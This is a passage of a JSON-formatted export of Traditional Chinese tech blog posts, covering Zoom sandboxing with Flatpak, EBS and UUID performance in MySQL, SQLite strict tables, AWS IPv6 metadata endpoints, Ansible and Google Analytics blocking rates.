上的指示還沒那麼清楚，編不起來，後來這兩天陸陸續續被修正了。\r\n\r\n桌機是 <a href=\"https://www.ubuntu.com/\">Ubuntu</a> 20.04，而用 Ubuntu 20.04 內包的 <a href=\"https://packages.ubuntu.com/focal/rustc\">rustc</a> (1.51.0) 是沒辦法編的，需要自己先透過 <a href=\"https://rustup.rs/\">rustup</a> 裝新版 1.54.0 來編，基本上照著 README.md 的指示先把 dependency 裝起來，然後照著對應的指令操作就可以了。\r\n\r\n這樣之後聽音樂方便不少...",
    "title": "Psst：Open Source 且非 Electron 版本的 Spotify 播放器"
  },
  {
    "id": "10282",
    "body": "昨天在 <a href=\"https://www.daemonology.net/hn-daily/\">Hacker News Daily</a> 上看到的討論，有人發現 <a href=\"https://zoom.us/\">Zoom</a> 的 <a href=\"https://en.wikipedia.org/wiki/Linux\">Linux</a> 版掃了所有 process 的資訊：「<a href=\"https://news.ycombinator.com/item?id=28213292\">Ask HN: Why does Zoom Desktop examine all processes and arguments?</a>」。\r\n\r\n<a href=\"https://news.ycombinator.com/user?id=twic\">twic</a> 給了個建議，用 <a href=\"https://www.flatpak.org/\">Flatpak</a> 在 sandbox 裡面跑 Zoom：\r\n\r\n<blockquote>I run Zoom from flatpak, which runs it in a container, and sandboxes it to some extent [1]\r\n\r\nThis probably explains why, when i try to screenshare a single application window, not every application shows up! I can share my browser, file manager, and various other things, but not windows for games started by Steam.\r\n\r\n[1] I followed these instructions <a href=\"https://www.mayrhofer.eu.org/post/zoom-flatpak-sandboxing/\">https://www.mayrhofer.eu.org/post/zoom-flatpak-sandboxing/</a></blockquote>\r\n\r\n測了一下沒什麼問題，應用程式安裝完後可以直接用 <code>flatpak run us.zoom.Zoom</code> 跑，但如果想要直接在 launch menu 叫出來的話 (在 <a href=\"https://xfce.org/\">Xfce</a> 叫 whiskermenu)，需要重開機 (看起來至少要 relogin)。\r\n\r\n應該就會先暫時這樣，稍微擋一些 Zoom 可以看到的資訊。而且 Zoom 本身的安裝一直都沒有更新機制，透過 flatpak 包起來反而可以跑 <code>flatpak update</code> 更新，目前感覺應該是 Z &gt;&gt; B...",
    "title": "用 Flatpak 跑 Zoom，限制 Zoom 的存取"
  },
  {
    "id": "10284",
    "body": "<a href=\"https://www.percona.com/\">Percona</a> 的人寫了一篇關於 <a href=\"https://dev.mysql.com/\">MySQL</a> 跑在 <a href=\"https://aws.amazon.com/\">AWS</a> 上不同種類 <a href=\"https://aws.amazon.com/ebs/\">EBS</a> 的效能差異：「<a href=\"https://www.percona.com/blog/performance-of-various-ebs-storage-types-in-aws/\">Performance of Various EBS Storage Types in AWS</a>」，不過這篇的描述部份不是很專業，重點是直接看測試資料建立自己的理解。\r\n\r\n他的方法是在 AWS 上建立了相同參數的 <code>gp2</code>、<code>gp3</code>、<code>io1</code>、<code>io2</code> 空間，都是 1TB 與 3000 IOPS，但他提到這應該會一樣：\r\n\r\n<blockquote>So, all the volumes are 1TB with 3000 iops, so in theory, they are the same.</blockquote>\r\n\r\n但這在「<a href=\"https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ebs-volume-types.html\">Amazon EBS volume types</a>」文件上其實都有提過了，先不管 durability 的部份，光是與效能有關的規格就不一樣了。\r\n\r\n在 gp2 的部份直接有提到只有保證 99% 的時間可以達到宣稱的效能：\r\n\r\n<blockquote>AWS designs <code>gp2</code> volumes to deliver their provisioned performance 99% of the time.</blockquote>\r\n\r\n而 gp3 則是只用行銷宣稱「consistent baseline rate」，連 99% 都不保證：\r\n\r\n<blockquote>These volumes deliver a consistent baseline rate of 3,000 IOPS and 125 MiB/s, included with the price of storage.</blockquote>\r\n\r\n在 <code>io*</code> 的部份則是保證 99.9%：\r\n\r\n<blockquote>Provisioned IOPS SSD volumes use a consistent IOPS rate, which you specify when you create the volume, and Amazon EBS delivers the provisioned performance 99.9 percent of the time.</blockquote>\r\n\r\n另外在測試中 <code>gp2</code> 與 <code>gp3</code> 的 throughput 看起來也沒調整成一樣的數字。在 1TB 的 <code>gp2</code> 中會給 250MB/sec 的速度，1TB 的 <code>gp3</code> 則是給 125MB/sec，除非你有加買 throughput。\r\n\r\n另外從這句也可以看出來他對 AWS 不熟：\r\n\r\n<blockquote>The tests were only run in a single availability zone (eu-west-1a).</blockquote>\r\n\r\n在「<a href=\"https://docs.aws.amazon.com/ram/latest/userguide/working-with-az-ids.html\">AZ IDs for your AWS resources</a>」這邊有提過不同帳號之間，同樣代碼的 AZ 不一定是一樣的區域，需要看 AZ ID：\r\n\r\n<blockquote>For example, the Availability Zone <code>us-east-1a</code> for your AWS account might not have the same location as <code>us-east-1a</code> for another AWS account.</blockquote>\r\n\r\n<blockquote>To identify the location of your resources relative to your accounts, you must use the AZ ID, which is a unique and consistent identifier for an Availability Zone. For example, <code>use1-az1</code> is an AZ ID for the <code>us-east-1</code> Region and it is the same location in every AWS account.</blockquote>\r\n\r\n在考慮到只有設定大小與 IOPS 的情況下，剩下的測試結果其實跟預期的差不多：<code>io2</code> 貴但是可以得到最好的效能，<code>io1</code> 的品質會差一些，<code>gp3</code> 在大多數的情況下其實很夠用，但要注意預設的 throughput 沒有 <code>gp2</code> 高。",
    "title": "MySQL 在不同種類 EBS 上的效能"
  },
  {
    "id": "10285",
    "body": "前陣子的「<a href=\"https://blog.gslin.org/archives/2021/08/14/10276/%E7%82%BA%E8%B3%87%E6%96%99%E5%BA%AB%E6%8F%90%E6%A1%88%E6%96%B0%E7%9A%84-uuid-%E6%A0%BC%E5%BC%8F/\">為資料庫提案新的 UUID 格式</a>」這邊提到了有人提案要增加新的 <a href=\"https://en.wikipedia.org/wiki/Universally_unique_identifier\">UUID</a> 格式，<a href=\"https://www.percona.com/\">Percona</a> 的老大 <a href=\"https://www.percona.com/about-percona/team/peter-zaitsev\">Peter Zaitsev</a> 在 <a href=\"https://twitter.com/\">Twitter</a> 上貼了「<a href=\"https://www.percona.com/blog/2019/11/22/uuids-are-popular-but-bad-for-performance-lets-discuss/\">UUIDs are Popular, but Bad for Performance — Let’s Discuss</a>」這篇在 2019 年時他們家的文章，題到了 <a href=\"https://dev.mysql.com/\">MySQL</a> 使用 UUID 當作 Primary Key 的事情：\r\n\r\n<blockquote class=\"twitter-tweet\" data-dnt=\"true\"><p lang=\"en\" dir=\"ltr\">UUIDs are Popular, but Bad for Performance — Let’s Discuss<br> <a href=\"https://t.co/2ulSGPB77L\">https://t.co/2ulSGPB77L</a></p>&mdash; Peter Zaitsev (@PeterZaitsev) <a href=\"https://twitter.com/PeterZaitsev/status/1428885064729776128?ref_src=twsrc%5Etfw\">August 21, 2021</a></blockquote> <script async src=\"https://platform.twitter.com/widgets.js\" charset=\"utf-8\"></script>\r\n\r\n要注意的是這篇文章沒有要從頭解釋 UUID 對於 Primary Key 的壞處，如果你想要先了解的話，在這篇文章的開頭給了一堆其他文章的連結，裡面就有討論過了。\r\n\r\n這篇主要是在討論，如果硬要用 UUID 當 Primary Key 時，可以有什麼方法降低對 InnoDB 的衝擊，剛好回應最近的提案。\r\n\r\n開頭還是先花了一些篇幅大概講一下 UUID 的種類，然後在「What is so Wrong with UUID Values?」這邊提到了字串比較的差異，如果 UUID 是到最後一碼才不同的話 (這邊是跑 df878007-80da-11e9-93dd-00163e00000<strong>2</strong> 與 df878007-80da-11e9-93dd-00163e00000<strong>3</strong> 與比較一億次)：\r\n\r\n<blockquote>1 row in set (27.67 sec)</blockquote>\r\n\r\n但如果是一開始就不同的話 (這邊是選擇 <strong>d</strong>f878007-80da-11e9-93dd-00163e00000<strong>2</strong> 與 <strong>e</strong>f878007-80da-11e9-93dd-00163e00000<strong>3</strong>) 會快很多：\r\n\r\n<blockquote>1 row in set (2.45 sec)</blockquote>\r\n\r\n但如果與數字相比的話 (這邊是 <code>2=3</code> 這樣的條件去比)：\r\n\r\n<blockquote>1 row in set (0.96 sec)</blockquote>\r\n\r\n可以看數字在這邊的優勢，另外也是在說明，如果你用的是 time-based ordering 的 UUID，要考慮會遇到這個可能會發生的效能問題。\r\n\r\n再來是玩 UUID 的三種不同的儲存方式對於寫入效能的差異，分別是 <code>CHAR(36)</code> (32 bytes 的 hex 加上四個 <code>-</code>)、<code>base64</code> (用 <code>CHAR(22)</code> 存) 與 <code>BINARY(16)</code>，可以看出來 <code>BINARY(16)</code> 因為佔用空間比較小的關係，是可以高速寫入持續最久的，再來是 <code>base64</code>，最差的是 <code>CHAR(36)</code>：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/F2R6b8d.webp\" /><img src=\"https://i.gslin.com/imgur/F2R6b8d.png\" alt=\"\" /></picture>\r\n\r\n後面給了兩個 workaround，第一個算是定義了另外一種產生 128 bits 的方式，第二個則是想辦法把 UUID 對應到數字。\r\n\r\n這在 MySQL 的環境裡面算是被討論的很久的主題了。(我猜在 <a href=\"https://www.postgresql.org/\">PostgreSQL</a> 應該也是，不過 PostgreSQL 的社群沒跟那麼久...)",
    "title": "2019 年 Percona 對 UUID 當作 Primary Key 的看法"
  },
  {
    "id": "10287",
    "body": "前幾個禮拜 <a href=\"https://imgur.com/\">Imgur</a> 決定擋掉 <a href=\"https://www.ptt.cc/\">Ptt</a> 的網頁版，所以 Ptt 網頁版上會發現 Imgur 的圖都不見了：「<a href=\"https://www.ptt.cc/bbs/Browsers/M.1628561540.A.1B1.html\">[問題] 突然imgur的貼圖無法顯示</a>」。\r\n\r\n這是因為 Imgur 用 <code>Referer</code> 擋了 Ptt 的關係，後來 Ptt 官方在 8/15 後有針對 <code>https://i.gslin.com/imgur/</code> 的圖片改用 <code>https://cache.ptt.cc/</code> 過一層，不過 <code>https://imgur.com/</code> 的就沒圖了。\r\n\r\n這邊可以參考 <a href=\"https://en.wikipedia.org/wiki/Certificate_Transparency\">Certificate Transparency</a> 的「<a href=\"https://crt.sh/?q=cache.ptt.cc\">crt.sh | cache.ptt.cc</a>」記錄，以及台大對於 Ptt 的流量的記錄 (出自「<a href=\"http://ws5.cc.ntu.edu.tw/mrtg_output/flow/eecsie/ptt/ptt.html\">PTT 流量分析</a>」這邊)：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/ULl1Ide.webp\" /><img src=\"https://i.gslin.com/imgur/ULl1Ide.png\" alt=\"\" /></picture>\r\n\r\n除了 Ptt 官方的解法外，另外可以自己寫 userscript，用 <a href=\"https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Referrer-Policy\">Referrer-Policy</a> 繞過 (需要比較新版的瀏覽器，不過目前的瀏覽氣應該都夠新)，看了一下本來的 <a href=\"https://github.com/gslin/ptt-imgur-cleaner-gm\">ptt-imgur-cleaner-gm</a>，發現要整個打掉改寫，索性就開一個新的專案變成 <a href=\"https://github.com/gslin/imgur-links-rewriting-on-ptt\">imgur-links-rewriting-on-ptt</a>。\r\n\r\n這個版本的特色：\r\n\r\n<ul>\r\n\t<li>加上對 <code>https://imgur.com/a/</code> (album) 的支援，可以顯示第一張圖。</li>\r\n\t<li>用 <a href=\"https://en.wikipedia.org/wiki/WebP\">WebP</a> 的版本，下載速度應該會快一些。</li>\r\n\t<li>偏好都是用大圖 (原始大小的圖片)。</li>\r\n\t<li>把本來走 <code>https://cache.ptt.cc/</code> 的版本換回直接走 <code>https://i.gslin.com/imgur/</code>，就不用透過 <a href=\"https://noc.tanet.edu.tw/\">TANet</a> 或是台大的出國頻寬了。</li>\r\n</ul>\r\n\r\n程式碼不長 (參考「<a href=\"https://github.com/gslin/imgur-links-rewriting-on-ptt/blob/master/imgur-links-rewriting-on-ptt.user.js\">imgur-links-rewriting-on-ptt.user.js</a>」這邊)，主要是練手... 沒事就寫一下 userscript 可以維持對於 JavaScript 的基本熟悉度。",
    "title": "重寫 Ptt 上的 Imgur Userscript 解決圖片出不來的問題"
  },
  {
    "id": "10288",
    "body": "在「<a href=\"https://news.ycombinator.com/item?id=28244246\">Another free CA as an alternative to Let's Encrypt (scotthelme.co.uk)</a>」這邊引用的文章本來在討論又多了一家免費的 SSL certificate 可以用，但結果討論的主力都在講除了 <a href=\"https://certbot.eff.org/\">Certbot</a> 外還有什麼比較好用...\r\n\r\n大家之所以厭惡 Certbot，先不講他需要依賴一堆 <a href=\"https://www.python.org/\">Python</a> 的套件包，最主要的問題在於現在 Certbot 官方建議的指引裡面都要求你裝 <a href=\"https://en.wikipedia.org/wiki/Snap_(package_manager)\">Snap</a>，而 Snap 這東西超級吃資源...\r\n\r\n既然是資源問題，裡面可以看到 <a href=\"https://dehydrated.io/\">Dehydrated</a> 又被拿出來推薦了，另外也有提到 <a href=\"https://acme.sh/\">acme.sh</a>，不過我個人不太愛 acme.sh，主要是預設值跑去用 <a href=\"https://zerossl.com/\">ZeroSSL</a> 的 CA。\r\n\r\n這種單檔就可以跑的很適合包進像是 <a href=\"https://www.ansible.com/\">Ansible</a> 這類的管理工具，至少目前用起來沒什麼大問題...",
    "title": "關於各家 ACME client (或者說 Let's Encrypt client？)"
  },
  {
    "id": "10289",
    "body": "找資料時發現 <a href=\"https://en.wikipedia.org/wiki/Windows_XP\">Windows XP</a> 上還是有瀏覽器可以用，是舊版 <a href=\"https://www.mozilla.org/firefox/\">Firefox</a> fork 出來的 <a href=\"https://www.palemoon.org/\">Pale Moon</a> 再 fork 出來的 <a href=\"https://www.mypal-browser.org/\">Mypal</a> (因為 Pale Moon 不再支援 Windows XP 了，所以為了 Windows XP 而 build 的版本)。\r\n\r\n不過我這邊不是在 Windows XP 上面測試 Mypal，而純粹就只是測 Pale Moon，所以是在 Linux 的桌機環境上測試。\r\n\r\n用了兩天發現真的只是加減用，最容易遇到的問題還是在 javascript 上，開 <a href=\"https://github.com/\">GitHub</a> 可以看到錯誤訊息，畫面上也有一些資料出不來：\r\n\r\n<blockquote>TypeError: window.customElements is undefined</blockquote>\r\n\r\n查了「<a href=\"https://developer.mozilla.org/en-US/docs/Web/API/Window/customElements\">Window.customElements</a>」這邊發現 Firefox 要 63+ 才支援，難怪 Pale Moon 會噴錯誤訊息...\r\n\r\n另外 single process 加上沒有對 threading 最佳化，用起來果然還是有點辛苦，開個 <a href=\"https://twitch.tv/\">Twitch</a> 就卡卡的，當日常用會需要磨一下耐心... 不過如果是還在跑 Windows XP 的使用者可能本來就很有耐心了？",
    "title": "測了一下 Pale Moon..."
  },
  {
    "id": "10290",
    "body": "在 <a href=\"https://www.daemonology.net/hn-daily/\">Hacker News Daily</a> 上看到「<a href=\"https://www.sqlite.org/draft/stricttables.html\">STRICT Tables</a>」這篇，在講 SQLite 目前在規劃 strict table，對應的討論可以參考「<a href=\"https://news.ycombinator.com/item?id=28259104\">Strict Tables – Column type constraints in SQLite - Draft (sqlite.org)</a>」這邊。\r\n\r\n我在 draft 文件開頭看到這個驚人的事實：轉型失敗的時候會直接寫進去，不是錯誤或是 <code>0</code> 或是 <code>NULL</code> 之類的值 XDDD\r\n\r\n<blockquote>For example, if a table column has a type of \"INTEGER\", then SQLite tries to convert anything inserted into that column into an integer. So an attempt to insert the string '123' results in an integer 123 being inserted. But if the content cannot be losslessly converted into an integer, for example if the input is 'xyz', then the original string is inserted instead. See the Datatypes In SQLite document for additional information.</blockquote>\r\n\r\n實際上測試建了一個表格測試：\r\n\r\n<pre>\r\nSQLite version 3.31.1 2020-01-27 19:55:54\r\nEnter \".help\" for usage hints.\r\nsqlite&gt; CREATE TABLE a (id INTEGER PRIMARY KEY NOT NULL, col1 INTEGER);\r\nsqlite&gt; INSERT INTO a (id, col1) VALUES (1, 'a');\r\nsqlite&gt; SELECT * FROM a;\r\nid          col1      \r\n----------  ----------\r\n1           a         \r\n</pre>\r\n\r\n<img src=\"https://i.gslin.com/imgur/P23lbUq.gif\" alt=\"\" />\r\n\r\n我果然跟 SQLite 不熟...",
    "title": "SQLite 目前在規劃的 Strict Table，以及我從來不知道原來可以這樣惡搞..."
  },
  {
    "id": "10293",
    "body": "在「<a href=\"https://aws.amazon.com/about-aws/whats-new/2021/08/Ipv6-amazon-ec2-metadata-time-sync-vpc-dns/\">IPv6 endpoints are now available for the Amazon EC2 Instance Metadata Service, Amazon Time Sync Service, and Amazon VPC DNS Server</a>」這邊看到的，<a href=\"https://aws.amazon.com/\">AWS</a> 把一些基礎服務補上了 IPv6 interface：\r\n\r\n<blockquote>The Amazon EC2 Instance Metadata Service, Amazon Time Sync Service, and Amazon VPC DNS server can now be accessed over IPv6 endpoints by instances built on the Nitro System.</blockquote>\r\n\r\nMetadata Service 的部份在「<a href=\"https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-instance-metadata-service.html\">Use IMDSv2</a>」這邊可以看到，在 IPv4 的時候是 <code>169.254.169.254</code>，在 IPv6 時則是 <code>fd00:ec2::254</code>：\r\n\r\n<blockquote>The examples in this section use the IPv4 address of the instance metadata service: 169.254.169.254. If you are retrieving instance metadata for EC2 instances over the IPv6 address, ensure that you enable and use the IPv6 address instead: fd00:ec2::254. The IPv6 address of the instance metadata service is compatible with IMDSv2 commands. The IPv6 address is only accessible on Instances built on the Nitro System.</blockquote>\r\n\r\nTime Service 的部份可以在「<a href=\"https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/set-time.html\">Set the time for your Linux instance</a>」這邊翻到，可以看到 <code>fd00:ec2::123</code> 這個位置：\r\n\r\n<blockquote>The Amazon Time Sync Service is available through NTP at the 169.254.169.123 IPv4 address or the fd00:ec2::123 IPv6 address for any instance running in a VPC. The IPv6 address is only accessible on Instances built on the Nitro System.</blockquote>\r\n\r\nDNS 的部份則是在「<a href=\"https://docs.aws.amazon.com/vpc/latest/userguide/vpc-dns.html\">DNS support for your VPC</a>」這邊翻，可以看到 <code>fd00:ec2::253</code> 這個 IPv6 address 的 DNS 服務：\r\n\r\n<blockquote>If this attribute is true, queries to the Amazon provided DNS server at the 169.254.169.253 IPv4 address (or the reserved IP address at the base of the VPC IPv4 network range plus two) and the fd00:ec2::253 IPv6 address will succeed. The IPv6 address is only accessible on EC2 instances built on the Nitro System.</blockquote>\r\n\r\n算是又補齊了一些基礎建設...\r\n\r\n另外 <a href=\"https://aws.amazon.com/ec2/\">EC2</a> 剛好這三個字都在十六進位表示法的範圍內，就拿來當 IPv6 address 也是讓人好記很多。\r\n\r\n另外結尾故意用 <code>::254</code>、<code>::123</code>、<code>::253</code> (要注意這是十六進位) 也讓人好記很多，而不是 <code>::fe</code> 這類 hex。",
    "title": "AWS 的 VPC 內可以用 IPv6 的 Metadata Service、Time Service 與 DNS Server 了"
  },
  {
    "id": "10295",
    "body": "<a href=\"https://aws.amazon.com/transcribe/\">Amazon Transcribe</a> 是 <a href=\"https://aws.amazon.com/\">AWS</a> 的服務，可以把聲音轉成文字 (speech to text)，先前最接近台灣用的中文應該是「Mandarin Chinese (Mainland China)」，兩年前曾經試著用過：「<a href=\"https://blog.gslin.org/archives/2019/08/25/9169/amazon-transcribe-%e8%aa%9e%e9%9f%b3%e8%bd%89%e6%96%87%e5%ad%97-%e6%94%af%e6%8f%b4%e4%b8%ad%e6%96%87/\">Amazon Transcribe (語音轉文字) 支援中文</a>」，但效果不怎麼樣...\r\n\r\n剛剛在「<a href=\"https://aws.amazon.com/about-aws/whats-new/2021/08/amazon-transcribe-speech-text-new-languages/\">Amazon Transcribe now supports speech to text in 6 new languages - Afrikaans, Danish, Mandarin Chinese (Taiwan), Thai, New Zealand English, and South African English</a>」這邊看到消息，<a href=\"https://aws.amazon.com/transcribe/\">Amazon Transcribe</a> 支援台灣的中文辨識了，晚點可以用同一部影片測試看看...",
    "title": "Amazon Transcribe 支援台灣的中文辨識了"
  },
  {
    "id": "10297",
    "body": "看到「<a href=\"https://undeadly.org/cgi?action=article;sid=20210830081715\">(open)rsync gains include/exclude support</a>」這篇才注意到有 <a href=\"https://www.openrsync.org/\">OpenRsync</a> 專案...\r\n\r\n在 OpenRsync 的網站上是指到 <a href=\"https://www.openbsd.org/\">OpenBSD</a> 的 cvsweb 上：「<a href=\"https://cvsweb.openbsd.org/src/usr.bin/rsync/\">src/usr.bin/rsync/</a>」，不過在 GitHub 上也有一個 repository：「<a href=\"https://github.com/kristapsdz/openrsync\">kristapsdz/openrsync</a>」，裡面有提到目前應該是以 OpenBSD 內的 source code 為主：\r\n\r\n<blockquote>This system has been merged into OpenBSD base. If you'd like to contribute to openrsync, please mail your patches to tech@openbsd.org. This repository is simply the OpenBSD version plus some glue for portability.</blockquote>\r\n\r\n然後有也提到 OpenRsync 主要就是 license 的關係 (<a href=\"https://en.wikipedia.org/wiki/Rsync\">rsync</a> 目前是 <a href=\"https://en.wikipedia.org/wiki/GPLv3\">GPLv3</a>)：\r\n\r\n<blockquote>This is an implementation of rsync with a BSD (ISC) license. It's compatible with a modern rsync (3.1.3 is used for testing, but any supporting protocol 27 will do), but accepts only a subset of rsync's command-line arguments.</blockquote>\r\n\r\n不過在一開始的報導裡面，有人反應軟體與 rsync 的相容性不太好，會搞爆 rsync：\r\n\r\n<blockquote>By grey (grey) on 2021-08-31 05:17\r\n\r\nNice!\r\n\r\nAlbeit, the last time I was testing openrsync, I discovered I could use openrsync to reproducibly crash rsync on FreeBSD13-CURRENT on a Raspberry Pi 3 and decided rather than try to debug rsync, I would wait for openrsync to mature a bit, I'm grateful to see that it continues to progress!</blockquote>\r\n\r\n就當作個記錄...",
    "title": "OpenRsync 專案"
  },
  {
    "id": "10298",
    "body": "前幾天在 <a href=\"https://www.daemonology.net/hn-daily/\">Hacker News Daily</a> 上看到「<a href=\"https://zwischenzugs.com/2021/08/27/five-ansible-techniques-i-wish-id-known-earlier/\">Five Ansible Techniques I Wish I’d Known Earlier</a>」這篇，裡面提到了一些 <a href=\"https://www.ansible.com/\">Ansible</a> 的用法還蠻有用的，算是開始用 Ansible 後應該都會有幫助的用法... 不過 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 上的討論「<a href=\"https://news.ycombinator.com/item?id=28327694\">Ansible Techniques I Wish I’d Known Earlier (zwischenzugs.com)</a>」比較精彩...\r\n\r\n目前在頂端的留言對 Ansible 幹到不行，尤其是那個 <a href=\"https://en.wikipedia.org/wiki/YAML\">YAML</a> 格式：\r\n\r\n<blockquote>Ansible is abysmal. I don't know why anyone still chooses it. It's a mess of yaml and what feels like a million yaml files that is always extremely hard to follow. Honestly writing some python, or bash is a lot easier to follow, read, and understand. The only thing it has going for it is the inventory system. I wish ansible would die already.</blockquote>\r\n\r\n然後講到 bash 與 python 之類的工具時有人提到 idempotent：\r\n\r\n<blockquote>&gt;bash and python\r\nNeither of those of idempotent.</blockquote>\r\n\r\n馬上就有人幹勦，大多數人在寫 Ansible playbook 時根本沒人在注意 idempotent，而且一堆 shell script 的東西被塞進 YAML 只能說痛苦 XDDD\r\n\r\n<blockquote>Most of the ansible roles I come across written by my team are not idempotent either, its a huge lie that Ansible is idempotent. Its idempotent if you put the effort into make it be but if I see tons of shell or command module invocations without prerequisite checks to see if the work should be done. Most devs I see using Ansible treat it like a shell script written in YAML and to that purpose it sucks.</blockquote>\r\n\r\n我自己目前會挑 Ansible 主要還是因為 server 不需要另外裝軟體，是個 production 為導向的設計，再更大的時候就要想一下要怎麼繼續搞下去了...",
    "title": "Ansible 的爭論"
  },
  {
    "id": "10299",
    "body": "在 <a href=\"https://www.wsj.com/\">WSJ</a> 上看到南韓對 <a href=\"https://www.apple.com/\">Apple</a> 與 <a href=\"https://www.google.com/\">Google</a> 的 in-app 付款機制提案，強制 Apple 與 Google 讓 app 的開發者 (或是開發商) 使用第三方支付平台：「<a href=\"https://www.wsj.com/articles/google-apple-hit-in-south-korea-by-worlds-first-law-ending-their-dominance-over-app-store-payments-11630403335\">Google, Apple Hit by First Law Threatening Dominance Over App-Store Payments</a>」。\r\n\r\n看不到 WSJ 內文的可以看「<a href=\"https://www.theverge.com/2021/8/31/22643800/apple-google-south-korea-app-store-payment-legislation-passes\">Apple and Google must allow developers to use other payment systems, new Korean law declares</a>」這篇，裡面有引用韓國的媒體報導 (英文版)：「<a href=\"https://en.yna.co.kr/view/AEN20210824010651320\">S. Korea looks set for legislation to curb Google, Apple's in-app billing system</a>」。\r\n\r\n要注意這還沒有通過，目前過委員會而已 (parliamentary committee)，接下來要表決才會成為正式法律。\r\n\r\n先前美國亞利桑那州的法案被擋下來，然後參議院提的法案也還在進行中，看起來還有很硬的仗要打：「<a href=\"https://blog.gslin.org/archives/2021/08/13/10273/%e7%94%b1%e7%be%8e%e5%9c%8b%e5%8f%83%e8%ad%b0%e9%99%a2%e6%8f%90%e5%87%ba%e7%9a%84-open-app-markets-act/\">由美國參議院提出的 Open App Markets Act</a>」。\r\n\r\n先繼續等後續發展，可以想見 Apple 與 Google 一定會想辦法抵制...",
    "title": "南韓對 Apple 與 Google 的 In-App 付款機制的提案"
  },
  {
    "id": "10300",
    "body": "在 <a href=\"https://www.daemonology.net/hn-daily/\">Hacker News Daily</a> 上看到在討論 <a href=\"https://en.wikipedia.org/wiki/Google_Analytics\">Google Analytics</a> 會愈來愈不準的問題：「<a href=\"https://plausible.io/blog/google-analytics-adblockers-missing-data\">58% of Hacker News, Reddit and tech-savvy audiences block Google Analytics</a>」，先大概知道 <a href=\"https://plausible.io/\">Plausible</a> 也是一個分析工具，宣稱重視隱私以及相關法規 (...)，所以網站裡面提到的推論可以看看就好，這次我主要是看數字而已。另外當然，<a href=\"https://news.ycombinator.com/\">Hacker News</a> 上對這篇文章的討論「<a href=\"https://news.ycombinator.com/item?id=28365163\">Tech-savvy audiences block Google Analytics (plausible.io)</a>」也可以翻翻。\r\n\r\n作者先前注意到愈一般性的網站，阻擋率就愈低，但科技相關的網站就會高到失真：\r\n\r\n<blockquote>In a previous study, I’ve found that less than 10% of visitors block Google Analytics on foodie and lifestyle sites but more than 25% block it on tech-focused sites.</blockquote>\r\n\r\n其實不算太意外，除了 <a href=\"https://www.google.com/\">Google</a> 自家的瀏覽器，其他的瀏覽器愈來愈多預設就會擋掉各種 tracker，而科技相關網站的受眾常常會「保護自己」。\r\n\r\n首先的段落提到的全站的比率，有大量的使用者會擋掉 Google Analytics (要注意這邊是拿科技類網站的數字，不是一般性的網站)，：\r\n\r\n<blockquote>58% of visitors block Google Analytics</blockquote>\r\n\r\n然後是桌機與筆電的使用者阻擋率比較高 (還是科技類網站的數字)：\r\n\r\n<blockquote>68% of laptop and desktop users block Google Analytics</blockquote>\r\n\r\n另外提到 <a href=\"https://www.mozilla.org/firefox/\">Firefox</a> 使用者的阻擋率超高，應該是幾乎都會裝套件擋，另外記得新版的 Firefox 預設會擋，可能也有關係 (再提醒一下，這是科技類網站)：\r\n\r\n<blockquote>88% of Firefox users block Google Analytics</blockquote>\r\n\r\n另外一個不算意外的是 <a href=\"https://en.wikipedia.org/wiki/Linux\">Linux</a> 使用者也是擋的很兇 (科技類網站)：\r\n\r\n<blockquote>82% of Linux users block Google Analytics</blockquote>\r\n\r\n這有兩個重點蠻重要的，第一個是，就算你不是科技類網站，你也應該試著用其他工具「校正」Google Analytics 的數字，你要知道 Google Analytics 偏差了多少。\r\n\r\n第二個是 Firefox 使用者的數量可能都被低估了，以 Firefox 阻擋率這麼高的情況下，有可能 Firefox 使用者會裝各種阻擋工具，把各種分析平台都擋一輪。不要直接用這些工具的數字決定忽略掉 Firefox 的使用者，最好要多方面驗證：\r\n\r\n<blockquote>I expected these numbers to be higher. However, an even more interesting metric is the 88% block in Firefox.\r\n\r\nFirefox may not have a great market share, but based on these numbers it's market share may very well be eight times higher than your analytics report. This can change the argument of \"it's only 3% of our users so we don't need to test on FF\" to \"it's a quarter of our user base, we should at least test it\", depending on your target audience. I've seen tons of people claim general Firefox usage is negligible based on public data from websites such as statcounter, but these metrics prove that those statistics are unreliable and should not be used.\r\n\r\nThe best you can do is use server side UA inspection, though you can't really distinguish bots from real users that way.</blockquote>\r\n\r\n另外順便提，我在辦公室裡面推銷 <a href=\"https://github.com/gorhill/uBlock\">uBlock Origin</a> 的方式是跟他們說 <a href=\"https://www.youtube.com/\">YouTube</a> 影片就沒有 Google 的廣告了 (業配那種不算)，基本上用過就回不去了...",
    "title": "Google Analytics 會愈來愈不準的問題"
  },
  {
    "id": "10301",
    "body": "看到之前同事在 <a href=\"https://twitter.com/\">Twitter</a> 上提到<a href=\"https://www.cna.com.tw/\">中央社</a>的標題算是比較正常的，不是 <a href=\"https://en.wikipedia.org/wiki/Clickbait\">clickbait</a> (<a href=\"https://zh.wikipedia.org/wiki/%E6%A0%87%E9%A2%98%E5%85%9A\">誘餌式標題</a>) 走向，就裝起來收通知看一下國內的新聞：\r\n\r\n<blockquote class=\"twitter-tweet\" data-dnt=\"true\"><p lang=\"zh\" dir=\"ltr\">中央社的新聞標題還是比較正常的，沒有騙點閱的農場標題，一看就知道大致內容 <a href=\"https://t.co/IR1jBxPT0U\">pic.twitter.com/IR1jBxPT0U</a></p>&mdash; adaam (@adaam) <a href=\"https://twitter.com/adaam/status/1431202933975224325?ref_src=twsrc%5Etfw\">August 27, 2021</a></blockquote> <script async src=\"https://platform.twitter.com/widgets.js\" charset=\"utf-8\"></script>\r\n\r\n到今天算是用了三四天，目前看到的標題都還不錯，從標題大概就可以抓到重點，不過好像沒看到付費的項目可以贊助 (也許可以提供 app 內去廣告？)，寫一篇文章來推廣好了...\r\n\r\n另外一個有付費的是 <a href=\"https://www.wsj.com/\">WSJ</a>，USD$5/m，主要是桌機可以直接看內容，不過手機上也是讓 app 推播標題...",
    "title": "把中央社的 App 裝起來... (來推廣一下好了)"
  },
  {
    "id": "10302",
